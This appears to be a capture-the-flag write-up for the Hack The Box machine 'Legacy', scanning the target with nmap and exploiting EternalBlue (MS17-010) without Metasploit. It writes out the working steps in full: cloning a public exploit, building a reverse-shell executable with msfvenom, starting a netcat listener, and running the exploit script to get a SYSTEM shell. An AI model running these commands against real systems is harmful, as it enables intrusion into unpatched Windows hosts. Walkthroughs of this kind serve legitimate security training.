> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/hackthebox/linux-boxes-w-o-metasploit/legacy.md).

# Legacy Writeup

Without Metasploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae4y3JQpxIVzaNYjUT%2F-Mae5Yi9hlNdAaVAM7Qr%2Fimage.png?alt=media\&token=f68a60c0-0af7-4899-9d23-5c1b228e5661)

## Reconnaissance

Initial Nmap Scan to find open ports, using treat all hosts as online (**-Pn)**  

```
nmap -Pn 10.10.10.4
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae60eyK31FxYatHfP_%2F-Mae7wu9sireLReWaqFb%2Fimage.png?alt=media\&token=78787af7-60dd-4342-95e3-eea4d26281e6)

Detailed Nmap Scan :‌

Command Breakdown:‌

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 139,445,3389
* (**-oN nmap**): Saving it into a files called nmap

```
nmap -sC -sV -p 139,445,3389 -oN nmap 10.10.10.4
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-Mae9sV6IKJhH59PSZOD%2Fimage.png?alt=media\&token=1e45506f-c15f-46de-9624-1df9500ac3c2)

## Enumeration

SMB is a command service with vulnerabilities, lets use a nmap script specific to smb to find vulnerabilities.

```
nmap --script smb-vuln* -p 139,445 10.10.10.4
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeBIaUNcGLCKiUSv45%2Fimage.png?alt=media\&token=aa04dbc6-0eab-4c61-b05e-05e3009868ac)

We can see that it is vulnerable to [CVE-2008-4250 ](https://www.exploit-db.com/exploits/7104)(MS08-067) and [CVE-2017-0143](https://www.exploit-db.com/exploits/41891) (ms17-010) , two commonly known vulnerabilities

## Exploitation

The vulnerability that we will be exploiting is called Eternal Blue, a vulnerability that exploits Microsoft's implementation of Server Message Block (SMB) protocol. If an attacker sends a payload, the attacker would be allowed to execute arbitrary code on the target machine.

There is a great [article ](https://ethicalhackingguru.com/how-to-exploit-ms17-010-eternal-blue-without-metasploit/)explaining this vulnerability and how to exploit it.

First let us download the exploit from GitHub

```
git clone https://github.com/helviojunior/MS17-010.git
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeEhU4eO8WxD0FI84o%2Fimage.png?alt=media\&token=75fc3626-5a52-40bb-af62-7f7b49fd4394)

Now we have to use MSF Venom to create a reverse shell payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=1234 -f exe > exploit.exe
```

 

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeFBfcRhBGWhjMn8IH%2Fimage.png?alt=media\&token=611c1c8f-5f87-4092-871e-73915cdfae76)

Now lets start a listener on our machine 

```
nc -lvnp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeFR1RfeVMc3ULy47B%2Fimage.png?alt=media\&token=15b0b209-8376-4138-bf6e-56b95062849a)

Lets run the exploit 

```
python send_and_execute.py 10.10.10.4 exploit.exe
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeG2BsUPkW2CF20Ya9%2Fimage.png?alt=media\&token=0f928ed8-b500-4de4-97b1-8fea1efba985)

And we have a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mae8k0euvRVtWWvp80Y%2F-MaeG6QMBeJixKcvmhEq%2Fimage.png?alt=media\&token=fd2efc1f-b6bd-4e75-a9f1-bb2e5ec05268)

Now if we try using the whoami command to find what privileges we have on the system, it does not work, so I just went looking for both the flags, and found out that I can read both of them which means we are NT AUTHORITY\SYSTEM.